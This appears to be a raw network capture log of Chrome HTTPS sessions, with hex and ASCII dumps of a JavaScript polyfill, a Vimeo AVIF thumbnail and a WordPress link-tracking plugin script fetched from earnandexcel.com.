2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 61 79 29 7b 66 6f 72 28 76 61 72 20 73 2c 68 2c 63 2c 61 2c 66 2c 64 2c 67 2c 6d 2c 76 3d 69 2c 5f 3d 70 28 65 29 2c 62 3d 21 31 3b 21 62 26 26 5f 3b 29 7b 76 61 72 20 77 3d 6e 75 6c 6c 2c 79 3d 31 3d 3d 5f 2e 6e 6f 64 65 54 79 70 65 3f 77 69 6e 64 6f 77 2e 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 5f 29 3a 7b 7d 3b 69 66 28 22 6e 6f 6e 65 22 3d 3d 79 2e 64 69 73 70 6c 61 79 29 72 65 74 75 72 6e 20 6e 75 6c 6c 3b 69 66 28 5f 3d 3d 74 68 69 73 2e 72 6f 6f 74 7c 7c 39 3d 3d 5f 2e 6e 6f 64 65 54 79 70 65 29 69 66 28 62 3d 21 30 2c 5f 3d 3d 74 68 69 73 2e 72 6f 6f 74 7c 7c 5f 3d 3d 74 29 6f 26 26 21 74 68 69 73 2e 72 6f 6f 74 3f 21 6e 7c 7c 30 3d 3d 6e 2e 77 69 64 74 68 26 26 30 3d 3d 6e 2e 68 65 69 67 68 74 3f 28 5f 3d 6e 75 6c 6c 2c 77 3d 6e 75 6c Data Ascii: ay){for(var s,h,c,a,f,d,g,m,v=i,_=p(e),b=!1;!b&&_;){var w=null,y=1==_.nodeType?window.getComputedStyle(_):{};if("none"==y.display)return null;if(_==this.root\|\|9==_.nodeType)if(b=!0,_==this.root\|\|_==t)o&&!this.root?!n\|\|0==n.width&&0==n.height?(_=null,w=nul
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 3d 6f 2e 72 69 67 68 74 2d 6f 2e 6c 65 66 74 2c 6f 2e 68 65 69 67 68 74 3d 6f 2e 62 6f 74 74 6f 6d 2d 6f 2e 74 6f 70 2c 6f 7d 2c 73 2e 70 72 6f 74 6f 74 79 70 65 2e 5f 68 61 73 43 72 6f 73 73 65 64 54 68 72 65 73 68 6f 6c 64 3d 66 75 6e 63 74 69 6f 6e 28 74 2c 65 29 7b 76 61 72 20 6f 3d 74 26 26 74 2e 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 3f 74 2e 69 6e 74 65 72 73 65 63 74 69 6f 6e 52 61 74 69 6f 7c 7c 30 3a 2d 31 2c 6e 3d 65 2e 69 73 49 6e 74 65 72 73 65 63 74 69 6e 67 3f 65 2e 69 6e 74 65 72 73 65 63 74 69 6f 6e 52 61 74 69 6f 7c 7c 30 3a 2d 31 3b 69 66 28 6f 21 3d 3d 6e 29 66 6f 72 28 76 61 72 20 69 3d 30 3b 69 3c 74 68 69 73 2e 74 68 72 65 73 68 6f 6c 64 73 2e 6c 65 6e 67 74 68 3b 69 2b 2b 29 7b 76 61 72 20 72 3d 74 68 69 73 2e 74 68 72 65 73 68 Data Ascii: =o.right-o.left,o.height=o.bottom-o.top,o},s.prototype._hasCrossedThreshold=function(t,e){var o=t&&t.isIntersecting?t.intersectionRatio\|\|0:-1,n=e.isIntersecting?e.intersectionRatio\|\|0:-1;if(o!==n)for(var i=0;i<this.thresholds.length;i++){var r=this.thresh
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 63 74 69 6f 6e 22 29 3b 69 66 28 72 2e 72 6f 6f 74 26 26 31 21 3d 72 2e 72 6f 6f 74 2e 6e 6f 64 65 54 79 70 65 26 26 39 21 3d 72 2e 72 6f 6f 74 2e 6e 6f 64 65 54 79 70 65 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f 72 28 22 72 6f 6f 74 20 6d 75 73 74 20 62 65 20 61 20 44 6f 63 75 6d 65 6e 74 20 6f 72 20 45 6c 65 6d 65 6e 74 22 29 3b 74 68 69 73 2e 5f 63 68 65 63 6b 46 6f 72 49 6e 74 65 72 73 65 63 74 69 6f 6e 73 3d 28 6f 3d 74 68 69 73 2e 5f 63 68 65 63 6b 46 6f 72 49 6e 74 65 72 73 65 63 74 69 6f 6e 73 2e 62 69 6e 64 28 74 68 69 73 29 2c 6e 3d 74 68 69 73 2e 54 48 52 4f 54 54 4c 45 5f 54 49 4d 45 4f 55 54 2c 69 3d 6e 75 6c 6c 2c 66 75 6e 63 74 69 6f 6e 28 29 7b 69 7c 7c 28 69 3d 73 65 74 54 69 6d 65 6f 75 74 28 66 75 6e 63 74 69 6f 6e 28 29 7b 6f 28 29 Data Ascii: ction");if(r.root&&1!=r.root.nodeType&&9!=r.root.nodeType)throw new Error("root must be a Document or Element");this._checkForIntersections=(o=this._checkForIntersections.bind(this),n=this.THROTTLE_TIMEOUT,i=null,function(){i\|\|(i=setTimeout(function(){o()
2024-04-11 21:26:41 UTC	326	IN	Data Raw: 68 65 69 67 68 74 3a 65 2e 68 65 69 67 68 74 2c 77 69 64 74 68 3a 65 2e 77 69 64 74 68 2c 62 6f 74 74 6f 6d 3a 6f 2b 65 2e 68 65 69 67 68 74 2c 72 69 67 68 74 3a 6e 2b 65 2e 77 69 64 74 68 7d 7d 66 75 6e 63 74 69 6f 6e 20 66 28 74 2c 65 29 7b 66 6f 72 28 76 61 72 20 6f 3d 65 3b 6f 3b 29 7b 69 66 28 6f 3d 3d 74 29 72 65 74 75 72 6e 21 30 3b 6f 3d 70 28 6f 29 7d 72 65 74 75 72 6e 21 31 7d 66 75 6e 63 74 69 6f 6e 20 70 28 65 29 7b 76 61 72 20 6f 3d 65 2e 70 61 72 65 6e 74 4e 6f 64 65 3b 72 65 74 75 72 6e 20 39 3d 3d 65 2e 6e 6f 64 65 54 79 70 65 26 26 65 21 3d 74 3f 69 28 65 29 3a 28 6f 26 26 6f 2e 61 73 73 69 67 6e 65 64 53 6c 6f 74 26 26 28 6f 3d 6f 2e 61 73 73 69 67 6e 65 64 53 6c 6f 74 2e 70 61 72 65 6e 74 4e 6f 64 65 29 2c 6f 26 26 31 31 3d 3d 6f 2e 6e Data Ascii: height:e.height,width:e.width,bottom:o+e.height,right:n+e.width}}function f(t,e){for(var o=e;o;){if(o==t)return!0;o=p(o)}return!1}function p(e){var o=e.parentNode;return 9==e.nodeType&&e!=t?i(e):(o&&o.assignedSlot&&(o=o.assignedSlot.parentNode),o&&11==o.n
2024-04-11 21:26:41 UTC	5	IN	Data Raw: 30 0d 0a 0d 0a Data Ascii: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
69	192.168.2.17	49792	151.101.0.217	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	670	OUT	GET /video/755912404-7b63338d02fc79560c0570e832acf14f8130f0197c8c7bd50735d0c605a9e6ed-d?mw=600&mh=338 HTTP/1.1 Host: i.vimeocdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://player.vimeo.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-04-11 21:26:41 UTC	583	IN	HTTP/1.1 200 OK Connection: close Content-Length: 34628 Cache-Control: max-age=2592000 Content-Type: image/avif Etag: "26a8dd506a658ce4c1e5e24c115e7828" X-Viewmaster-Lossless-Format: automatic Via: 1.1 google, 1.1 varnish, 1.1 varnish Access-Control-Allow-Origin: * Access-Control-Expose-Headers: X-Viewmaster-Status Access-Control-Max-Age: 86400 Accept-Ranges: bytes Age: 502856 Date: Thu, 11 Apr 2024 21:26:41 GMT X-Served-By: cache-dfw-kdfw8210152-DFW, cache-ewr18123-EWR X-Cache: HIT, HIT X-Cache-Hits: 59, 0 X-Timer: S1712870801.337425,VS0,VE1 Vary: Accept
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 00 00 00 20 66 74 79 70 61 76 69 66 00 00 00 00 61 76 69 66 6d 69 66 31 6d 69 61 66 4d 41 31 42 00 00 00 f2 6d 65 74 61 00 00 00 00 00 00 00 28 68 64 6c 72 00 00 00 00 00 00 00 00 70 69 63 74 00 00 00 00 00 00 00 00 00 00 00 00 6c 69 62 61 76 69 66 00 00 00 00 0e 70 69 74 6d 00 00 00 00 00 01 00 00 00 1e 69 6c 6f 63 00 00 00 00 44 00 00 01 00 01 00 00 00 01 00 00 01 1a 00 00 86 2a 00 00 00 28 69 69 6e 66 00 00 00 00 00 01 00 00 00 1a 69 6e 66 65 02 00 00 00 00 01 00 00 61 76 30 31 43 6f 6c 6f 72 00 00 00 00 6a 69 70 72 70 00 00 00 4b 69 70 63 6f 00 00 00 14 69 73 70 65 00 00 00 00 00 00 02 58 00 00 01 52 00 00 00 10 70 69 78 69 00 00 00 00 03 08 08 08 00 00 00 0c 61 76 31 43 81 01 0c 00 00 00 00 13 63 6f 6c 72 6e 63 6c 78 00 02 00 02 00 02 80 00 00 00 17 Data Ascii: ftypavifavifmif1miafMA1Bmeta(hdlrpictlibavifpitmilocD*(iinfinfeav01ColorjiprpKipcoispeXRpixiav1Ccolrnclx
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: bf 8f ac e1 6b c7 85 5a 08 82 50 94 0c bb 9a bf c7 de 1d f7 0d d3 3c b9 97 9f 59 2c bc 85 43 f2 e8 53 ea 38 90 65 c8 05 c3 15 38 7d 27 a4 ff cf fe 61 ae 73 ec bc 72 e9 1b 29 84 e2 1e 51 57 4e cd 73 11 88 7c 09 c8 f9 d5 fd 7a 8d 96 30 1b 01 dc fb b7 bb ed 3d 72 9f d9 23 da 59 4b 9e c4 7d a8 14 a2 57 00 61 ba 2c 24 b1 f9 e3 95 24 b8 11 5a 93 e7 06 a2 9f 3b 98 37 c1 13 6e 02 cf 86 1b be eb ea 29 a8 0d 0d fb 3f 32 2d d1 cb 6c 8e 6d 77 dc 80 f0 c2 f8 81 cd fe 44 3e 27 49 f5 e5 da 6e 23 65 df 4e 24 d4 a4 73 f9 2a 64 50 8a 09 46 5a 2d 82 e7 4c 62 7e 03 d0 1d db 0c 4f b9 86 31 b1 1e 36 78 ec 28 43 2f 28 1f 5c b4 5e 26 21 4c 82 8f cc ae 72 9e 53 b6 62 19 61 fb 9f 6a a2 78 0f 45 5d 7e 2e c7 7b 8d a4 83 ca 28 f5 3e 01 b8 82 94 1f 9e 42 55 13 1c ac 32 75 2c 45 1b 58 Data Ascii: kZP<Y,CS8e8}'asr)QWNs\|z0=r#YK}Wa,$$Z;7n)?2-lmwD>'In#eN$s*dPFZ-Lb~O16x(C/(\^&!LrSbajxE]~.{(>BU2u,EX
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 87 1c 18 5b f4 f4 4c 03 9f 80 48 e5 83 e3 57 87 79 3b 7b 17 85 89 8b ab 99 1e e6 d2 89 27 05 67 07 fd 27 27 73 d9 cf fc ec cf f6 6e ff 05 21 db 63 86 92 07 8c c8 45 54 b4 fb 9b 1f 83 23 23 9a 89 d2 5c f0 a8 29 bc ff 8f 6c fc ff 3a 18 e7 aa a4 86 94 92 b5 28 2f 84 9e d0 82 fa 0d 7d 1f a1 de 8f 3d 16 96 27 50 fe 28 b3 17 60 25 7b 27 91 90 04 4d 58 16 b7 0f 13 e4 80 b7 88 e5 f4 b1 7e 7b c5 22 f0 ee 72 24 23 8c 2a 3a 53 88 55 84 14 53 61 97 cf c0 22 94 f5 0e 32 c7 f1 e2 60 77 96 53 63 bf 56 45 21 3c 2c 86 95 69 84 59 3c 16 a1 bb 44 76 98 e7 1c 9e c5 d3 4b e1 aa 28 c7 29 1f a1 21 01 27 42 48 d8 43 2d 63 2e 45 c2 d6 e6 a9 0e a4 77 f3 d7 24 b2 d1 ff af 26 1b db 15 cf 03 96 d6 2b ee d7 ff 79 89 38 30 ee 5e 18 d6 bb c8 92 f4 fb 2c e2 2b b5 b3 44 d5 0b 70 4c a1 f7 Data Ascii: [LHWy;{'g''sn!cET##\)l:(/}='P(`%{'MX~{"r$#*:SUSa"2`wScVE!<,iY<DvK()!'BHC-c.Ew$&+y80^,+DpL
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: ed 0b 48 58 d2 bd ec 0b de cd f5 2c d4 e0 a6 21 3d 47 04 62 57 3f 89 f5 75 5e 3c 94 cf de b1 f5 7c 64 f4 97 5e c1 34 2f 20 6d 51 64 44 c5 f8 aa b3 f8 d8 be d1 48 31 cd 59 47 72 af f9 57 2a f7 87 b7 31 35 9a 64 c8 fe 3c ef 55 21 09 31 47 98 b3 a4 04 57 25 51 c8 d9 bb bc ad 67 d3 85 ff ca e3 f7 c2 41 cd 60 26 bd 31 bc 72 58 eb d3 a8 59 39 54 7a 7e 57 89 1e fd a8 b4 dd c8 0d 01 e4 7c 1a 18 5d 0b df e8 ea 81 0f d1 e9 35 fb 5a d7 01 98 39 da 26 40 94 e5 b4 cd ec 51 c3 9a ef 81 19 e4 24 fe d9 dc 63 b7 b4 85 9d d6 0a d2 59 6e 9b d0 0f d9 d1 79 17 cc 77 2e 18 30 98 ae fe 37 1b c7 ee fb 82 5f 21 f5 74 b7 4a e0 97 1f 4d b8 04 8b 9a 34 70 09 71 2b ca fd 5f fb bb b8 d3 43 ca da 9a 51 22 7e a0 9c 95 e2 db d3 60 d6 7e 3f 13 70 a3 7a d1 eb e1 8b 9c f4 6e 1f 36 d7 34 00 Data Ascii: HX,!=GbW?u^<\|d^4/ mQdDH1YGrW*15d<U!1GW%QgA`&1rXY9Tz~W\|]5Z9&@Q$cYnyw.07_!tJM4pq+_CQ"~`~?pzn64
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 0d 4d 04 e0 45 a6 39 7b 5a b6 e0 ff ca 97 c9 dd f6 02 0d dc 07 6f d1 f5 c1 81 4f 79 02 fa b8 a1 27 e5 c8 fb 5b 14 94 e1 e2 e4 e9 b0 6e 06 b4 0a 3d 73 33 8c 92 e8 83 f9 15 11 d6 65 57 20 e1 7e dc 0e 59 d7 1a 98 06 95 55 29 40 e3 f5 d7 b4 89 83 02 62 8a 3a c2 cb 88 53 15 e0 75 af 34 38 39 f5 58 71 fd 74 a8 a6 62 2c f9 36 ab 46 c0 0e 56 16 2a 48 a3 60 b8 e8 33 bb a3 8e 06 59 67 3f dc 88 e5 39 76 25 de ab a3 64 5d 86 64 70 0a 83 af be 8f cc 01 83 b6 36 ef d2 9e d2 50 eb 17 34 cb a8 b7 ba 5d 49 99 81 65 2f 34 5c a9 1e cf 64 ba d1 1a f8 be 22 a8 b8 e2 a7 d5 0a 8c d6 12 6c e8 e9 cd a8 b6 f5 39 89 ff 96 68 54 77 a2 92 3b fc b9 c0 38 e6 bf fc 10 df 00 cb 64 b8 ff f3 dd 16 91 b3 da 05 42 30 2d c7 a2 26 98 09 e0 97 1e 0f dc 99 7d e9 36 9e 2a 0c 5c 1a 0b 1d f8 53 35 Data Ascii: ME9{ZoOy'[n=s3eW ~YU)@b:Su489Xqtb,6FVH`3Yg?9v%d]dp6P4]Ie/4\d"l9hTw;8dB0-&}6\S5
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 0c 8a 1c e8 c0 c8 af 56 94 17 5d 6c ad 3b bb 1f 29 e7 db 7b b2 06 b7 33 74 d8 b1 b0 7c 76 81 43 5e b7 4d 5c c6 c7 12 20 da 89 f3 e8 d1 88 9c a0 16 f2 cc e8 85 76 34 8c d0 52 87 37 9b 0f e7 2e 27 59 47 63 40 a6 2f 55 0c 52 85 aa d6 75 6f 38 f9 d4 36 d2 d5 2e a4 9b 66 c3 4a 5a 73 fc 4a 84 01 78 f1 9d 6f e6 e9 36 fd a7 3c c2 48 43 1f ba 64 7e 54 76 98 9a 5a 39 11 fa 4e 5f 31 70 20 b9 0a 11 55 a8 57 96 28 ec ee b5 4f cb 6d 3b 31 67 10 0b 42 34 21 e5 70 1f 89 74 b6 03 e8 8d e3 fc 58 60 75 19 27 ba 7c 45 e0 99 57 a2 e7 69 7e 04 27 10 cc 7f b9 61 7b 05 ff fe 12 fe 14 8e ac 2d 22 38 c4 fd 81 e3 32 4d 2b 7f bf 1d 26 98 d5 8c 3c e0 6b 10 bf a3 bb 2d 7f 0c 5c 8b 12 59 31 bf 41 70 e4 59 fd ce 88 3c 60 61 b9 bc 8d 9c 81 5b 7b 08 ca f5 b9 9b 1c 1f b1 f9 da 85 fd c3 7d Data Ascii: V]l;){3t\|vC^M\ v4R7.'YGc@/URuo86.fJZsJxo6<HCd~TvZ9N_1p UW(Om;1gB4!ptX`u'\|EWi~'a{-"82M+&<k-\Y1ApY<`a[{}
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 9f be 72 0a be 36 8a c7 a7 23 29 2f 75 b1 34 78 d8 b7 2b 0c 81 8b cd 43 32 da 85 87 ea d0 54 79 87 c3 38 30 02 ca 07 93 bb 26 f6 e9 82 ac 31 d1 42 48 6c 23 7f fd 14 e6 3e d9 df 1a 10 37 9b 04 82 15 de 38 d0 0d 28 5a f0 83 27 49 f4 40 7f d9 80 c3 2c 4c 64 7b ec 12 45 8a 66 98 42 65 ec c0 73 56 48 c5 fb 4a 82 a3 67 cc 51 64 e7 39 d9 cf 64 80 d3 60 12 93 45 5d ef 62 2b 35 e9 cc b9 63 d9 09 73 37 40 fb 9c c1 22 1d 21 93 34 c6 bf 9a 72 04 d8 5f 20 c7 f6 23 6c 84 c9 c3 de 01 cb 64 f6 d5 9d 44 97 20 51 6c ed b4 c2 39 50 9d e2 fd e6 cd 35 38 80 9b 80 43 71 0b 49 9a e2 80 d4 70 0e 5b 03 f7 4b 98 d9 8f b1 3f fc 00 8f 0a 78 27 5d f5 ad c2 19 66 8e 1d 24 03 c9 73 36 0b 60 fd 53 3a 39 db 37 14 ee fd a8 0b 41 20 50 a7 ba 91 cd 7d ee a5 b1 6f ab 02 0c 5c c1 99 db 45 33 Data Ascii: r6#)/u4x+C2Ty80&1BHl#>78(Z'I@,Ld{EfBesVHJgQd9d`E]b+5cs7@"!4r_ #ldD Ql9P58CqIp[K?x']f$s6`S:97A P}o\E3
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 2d 18 40 7e 3b 1b cc 0d 13 e5 c4 3f 63 f5 01 fa 8e e6 2e bd 2c 52 5f c7 d1 03 62 74 dd af 6c 55 b8 9e bb f4 a8 1f 00 62 fb d8 cd d7 54 f0 d6 49 ed de 16 b1 c8 aa e6 04 b1 0d 55 72 2a e9 11 8c bd bf 05 4d 85 55 0f 16 11 38 83 9e 2c f2 7c 69 d9 16 91 e9 fa 08 cb 84 63 01 d1 cb fc b9 9b af 96 44 76 86 7f 1c db 35 c9 de ff 8a a3 ed e5 cb f7 00 43 d3 5e df d3 d2 cc 0b 21 bb 24 ac 17 47 c1 de 93 b6 fb b9 85 8c 62 3f c6 6c 9a 4f 5d e6 07 d9 31 fb 67 4b a0 00 f0 2b 1a 48 7c 86 7c 93 ef 70 fa 81 98 77 c8 df 68 a2 e5 39 a3 59 19 8d 57 2f 18 07 72 bb ac e5 65 d8 4a d0 8a 84 c1 07 05 9a 72 d1 28 01 91 1a 7d 4c 83 0f 3a 7c 55 29 09 61 6b 9d 4f c5 c0 bf 2a 91 7b 1a 5c eb 0d da 60 06 9c 5a ee 26 38 6a da e7 4a 64 d1 45 bf 7e 1e 93 f8 4e 7d 97 56 ed 10 53 84 3f bf 75 ea Data Ascii: -@~;?c.,R_btlUbTIUrMU8,\|icDv5C^!$Gb?lO]1gK+H\|\|pwh9YW/reJr(}L:\|U)akO{\`Z&8jJdE~N}VS?u
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: ab b3 63 38 f4 00 fc 06 24 a8 c0 f5 75 53 ac 5e 64 6a 00 13 b5 e5 72 40 ab 0c 40 e3 2f d5 c4 ba 0e c3 90 87 0c 93 f5 89 a6 44 9b 53 73 ce 01 bd 9c 4b ac 6e a8 ab 78 80 e9 ac ee 92 3f 56 4b 3e 16 bf 7d ab 1d d2 20 d0 7a 6d d0 b3 5f d6 81 0f 2f 4d f4 e6 c1 dc 80 5c d6 aa 8e e6 ef 96 d2 c2 31 df 75 34 7c 2c ce 5e 59 d7 63 f4 dd cb 2a eb 23 58 20 b1 7e 6f 1f 2e f8 14 17 1b 9e 47 99 14 86 b9 ca 8d 51 8c a9 85 2c 51 80 69 e5 a2 f3 8f b9 59 11 de 91 34 36 45 81 0d d4 7d cd af 4f c4 86 bc 23 58 1d d1 db fb 1e 75 c8 91 7a a6 e6 5c bd d0 2a 8c 2d be 37 84 ac c1 70 58 7f 2e 14 60 6b 29 de d1 f1 ae 08 fd 10 e3 5e 39 36 4e e9 0e 97 f0 6e 10 a8 e0 40 c4 5b 64 bd 7d 1c c0 2c 34 71 b0 f6 ee 32 d8 d2 a6 b6 21 fb 94 bc 94 d4 ae 90 eb 3f c2 32 1a 14 82 c8 ea 72 4d bb ff 5d Data Ascii: c8$uS^djr@@/DSsKnx?VK>} zm_/M\1u4\|,^Yc#X ~o.GQ,QiY46E}O#Xuz\-7pX.`k)^96Nn@[d},4q2!?2rM]
2024-04-11 21:26:41 UTC	1379	IN	Data Raw: 7f 00 cb 82 d8 7e 9b 14 85 55 cd ed 89 19 fb 58 1d b6 60 1c 02 b7 b9 90 71 0a 5d cc a0 19 27 7a a6 e6 29 c0 9b b7 e8 46 0a 11 25 a4 47 bf 36 b9 ee b9 6e d8 31 95 be 40 fb 08 b1 fe 0f f0 e0 ed 62 11 34 d8 4a 6e a2 4a 4c 9e ac 18 c6 58 ac 8d 42 f1 ed 40 df 13 ec 70 0d 78 4c 2c 38 25 58 f9 38 bc 92 5a 9c bc 12 f5 e3 09 d9 95 25 ad 29 06 d9 15 ca 60 23 41 dc 1d 31 8e 3c bc dc fe 80 75 cb 4c 13 69 83 98 c7 8c 8a 27 df c2 66 79 4f 8a c1 a5 5e 28 a9 ba bd b8 54 85 dc 99 f8 aa 2c e2 99 ef 17 3e f3 09 1a 23 16 72 63 c1 99 fa 41 c9 e6 a7 83 f9 79 6b 81 dd 44 9d dd d9 38 21 92 fa 82 b7 41 90 58 e1 c8 d6 59 c9 26 a2 ea 18 c3 ce 07 df 63 bb 20 0e 15 57 4a 83 fd 76 ab be 00 a9 50 04 eb 42 cf a8 d0 ed 10 0a 74 97 16 a6 63 4d 68 42 53 50 14 25 99 22 f2 24 fc 16 50 ac 9e Data Ascii: ~UX`q]'z)F%G6n1@b4JnJLXB@pxL,8%X8Z%)`#A1<uLi'fyO^(T,>#rcAykD8!AXY&c WJvPBtcMhBSP%"$P

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
70	192.168.2.17	49791	162.159.135.42	443	4860	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-04-11 21:26:41 UTC	744	OUT	GET /wp-content/plugins/link-whisper-premium/js/frontend.js HTTP/1.1 Host: earnandexcel.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://earnandexcel.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: nitroCachedPage=0; mediavine_session={%22depth%22:1%2C%22referrer%22:%22DIRECT%22%2C%22wrapperVersionGroup%22:{%22version%22:%223.1.3%22%2C%22name%22:%223.1.3%22}}
2024-04-11 21:26:41 UTC	942	IN	HTTP/1.1 200 OK Date: Thu, 11 Apr 2024 21:26:41 GMT Content-Type: application/javascript; charset=UTF-8 Transfer-Encoding: chunked Connection: close CF-Ray: 872e0e6caa2072a1-EWR CF-Cache-Status: DYNAMIC Access-Control-Allow-Origin: * Cache-Control: max-age=315360000 ETag: W/"60df3865-23bd" Expires: Thu, 31 Dec 2037 23:55:55 GMT Last-Modified: Fri, 02 Jul 2021 16:01:41 GMT Vary: Accept-Encoding ki-cache-type: None Ki-CF-Cache-Status: BYPASS ki-edge: v=20.2.7;mv=3.0.6 ki-origin: g1p X-Content-Type-Options: nosniff X-Edge-Location-Klb: 1 Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=2lNV6KAy4LzNtx0f9qLs0gC9UQLo0ZbC%2ByRXa5qs1i9IUnRucg0pz1arP1JMEYFtK%2BB1lE4%2FEDmUb5QepEHUgSzgD17ojoB6yR%2FqQnIqwgoe6CEuW8GURoA9HbXYMxhfsQc%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400
2024-04-11 21:26:41 UTC	427	IN	Data Raw: 32 33 62 64 0d 0a 22 75 73 65 20 73 74 72 69 63 74 22 3b 0d 0a 0d 0a 5b 5d 2e 66 6f 72 45 61 63 68 2e 63 61 6c 6c 28 64 6f 63 75 6d 65 6e 74 2e 71 75 65 72 79 53 65 6c 65 63 74 6f 72 41 6c 6c 28 27 61 27 29 2c 20 66 75 6e 63 74 69 6f 6e 28 65 6c 29 20 7b 0d 0a 20 20 20 20 65 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 63 6c 69 63 6b 27 2c 20 77 70 69 6c 5f 6c 69 6e 6b 5f 63 6c 69 63 6b 65 64 29 3b 0d 0a 20 20 20 20 65 6c 2e 61 64 64 45 76 65 6e 74 4c 69 73 74 65 6e 65 72 28 27 61 75 78 63 6c 69 63 6b 27 2c 20 77 70 69 6c 5f 6c 69 6e 6b 5f 63 6c 69 63 6b 65 64 29 3b 0d 0a 7d 29 3b 0d 0a 0d 0a 0d 0a 66 75 6e 63 74 69 6f 6e 20 77 70 69 6c 5f 6c 69 6e 6b 5f 63 6c 69 63 6b 65 64 28 65 29 7b 0d 0a 2f 2f 20 20 20 20 65 2e 70 72 65 76 65 6e 74 44 Data Ascii: 23bd"use strict";[].forEach.call(document.querySelectorAll('a'), function(el) { el.addEventListener('click', wpil_link_clicked); el.addEventListener('auxclick', wpil_link_clicked);});function wpil_link_clicked(e){// e.preventD
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 27 73 76 67 27 5d 3b 0d 0a 0d 0a 20 20 20 20 2f 2f 20 69 66 20 74 68 65 20 63 6c 69 63 6b 20 77 61 73 6e 27 74 20 61 20 70 72 69 6d 61 72 79 20 6f 72 20 6d 69 64 64 6c 65 20 63 6c 69 63 6b 2c 20 6f 72 20 74 68 65 72 65 27 73 20 6e 6f 20 6c 69 6e 6b 2c 20 65 78 69 74 0d 0a 20 20 20 20 69 66 28 21 28 65 2e 77 68 69 63 68 20 3d 3d 20 31 20 7c 7c 20 65 2e 62 75 74 74 6f 6e 20 3d 3d 20 30 20 29 20 26 26 20 21 28 65 2e 77 68 69 63 68 20 3d 3d 20 32 20 7c 7c 20 65 2e 62 75 74 74 6f 6e 20 3d 3d 20 34 20 29 20 7c 7c 20 6c 69 6e 6b 2e 6c 65 6e 67 74 68 20 3c 20 31 29 7b 0d 0a 20 20 20 20 20 20 20 20 72 65 74 75 72 6e 3b 0d 0a 20 20 20 20 7d 0d 0a 0d 0a 20 20 20 20 69 66 28 27 31 27 20 3d 3d 3d 20 77 70 69 6c 46 72 6f 6e 74 65 6e 64 2e 64 69 73 61 62 6c 65 43 6c 69 Data Ascii: 'svg']; // if the click wasn't a primary or middle click, or there's no link, exit if(!(e.which == 1 \|\| e.button == 0 ) && !(e.which == 2 \|\| e.button == 4 ) \|\| link.length < 1){ return; } if('1' === wpilFrontend.disableCli
2024-04-11 21:26:41 UTC	1369	IN	Data Raw: 0d 0a 20 20 20 20 66 69 6e 64 4c 69 6e 6b 54 65 78 74 28 6c 69 6e 6b 29 3b 0d 0a 0d 0a 20 20 20 20 69 66 28 6c 69 6e 6b 41 6e 63 68 6f 72 20 3d 3d 3d 20 27 27 20 26 26 20 68 61 73 49 6d 61 67 65 29 7b 0d 0a 20 20 20 20 20 20 20 20 69 66 28 69 6d 61 67 65 54 69 74 6c 65 20 21 3d 3d 20 27 27 29 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 6b 41 6e 63 68 6f 72 20 3d 20 77 70 69 6c 46 72 6f 6e 74 65 6e 64 2e 63 6c 69 63 6b 73 49 31 38 6e 2e 69 6d 61 67 65 54 65 78 74 20 2b 20 69 6d 61 67 65 54 69 74 6c 65 3b 0d 0a 20 20 20 20 20 20 20 20 7d 65 6c 73 65 7b 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 6c 69 6e 6b 41 6e 63 68 6f 72 20 3d 20 77 70 69 6c 46 72 6f 6e 74 65 6e 64 2e 63 6c 69 63 6b 73 49 31 38 6e 2e 69 6d 61 67 65 4e 6f 54 65 78 74 3b 0d 0a 20 Data Ascii: findLinkText(link); if(linkAnchor === '' && hasImage){ if(imageTitle !== ''){ linkAnchor = wpilFrontend.clicksI18n.imageText + imageTitle; }else{ linkAnchor = wpilFrontend.clicksI18n.imageNoText;
